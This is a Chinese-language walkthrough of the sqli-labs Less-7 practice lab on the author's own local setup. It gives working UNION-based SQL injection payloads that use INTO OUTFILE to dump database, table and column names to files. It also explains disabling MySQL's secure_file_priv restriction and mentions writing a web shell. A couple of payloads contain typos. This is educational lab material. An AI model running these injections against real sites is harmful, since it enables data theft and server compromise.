自己在本地搭建的手工注入环境----sqlilabs 可百度下载源码搭建,网上很多教程就不再介绍
演示靶场如下:
提示赋值一个id的值,虽然不知道是get方式还是post方式,先试试get
可以发现页面进入成功,并提示use outfile。百度outfile 发现是mysql注入中导出数据库数据的用法。具体用法:
into outfile "导出数据的路径
接下来找注入点确定注入语句然后构造payload
实际渗透测试中是很繁琐的,因为不知道源码只能不断测试和猜测
我本地搭建的,就直接查看源码
可以看到第一句中的id参数id=(('$id')),可以利用'))绕过
成功绕过并注入成功,那接下来就是注入的常规步骤
爆字段:order by
3页面正常,4页面不正常,那字段数就是3
下一步进行联合查询:union select 1,2,3
爆数据库:database()
页面是正常的,那不回显数据,说明不是常规的注入,但一开始我们就知道一个提示use outfile 那就尝试利用看看
构造payload: http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,database(),user() into outflie "E:\2.txt"%23
意思是把查询出来的当前数据库名写入到本地的E盘下,如果没有2.txt文件会自动创建
正常应该是可以在E盘发现一个2.txt文件,但我尝试了好久都没成功,只能百度了
发现有几个详解:
1、没有root权限,但这是我本地搭建的,不会出现这种问题
2、没有导入导出的权限,原因是由参数secure_file_priv决定的
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制
那我们看看我们mysql的secure-file-priv参数是什么值
show global variables like '%secure%';
结果为null
继续百度修改方法,我的环境是phpstudy 在打开配置文件中的mysql.ini中的mysqld下面加上secure_file_priv= 再次重启phpstudy即可
验证下
修改成功
回到靶场继续尝试payload
E盘下出现2.txt文件,文件内容是我们要查询的数据库名和用户信息
到这里基本测试完成了
爆表:
payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema='security' into outfile "E:\4.txt"%23
不知道为啥不能覆盖,那就新建4.txt
所以表都出来了
爆列:column_name from information_schema.columns where table_schema='security' and table_name='表名'
payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,column_name,3 from information_schema.colnums where table_schema='security' and table_name='表名' into outfile "E:\5.txt"%23
爆字段:列名 from 数据库名.表名
payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,列名,3 from 数据库名.表名 into outfile "E:\6.txt"%23
这个漏洞危害还是挺大的,比如如果secure_file_priv开启,并知道目标的绝对路径,那就可以进行写shell
这里就不再演示,晚了,也该洗澡睡觉了。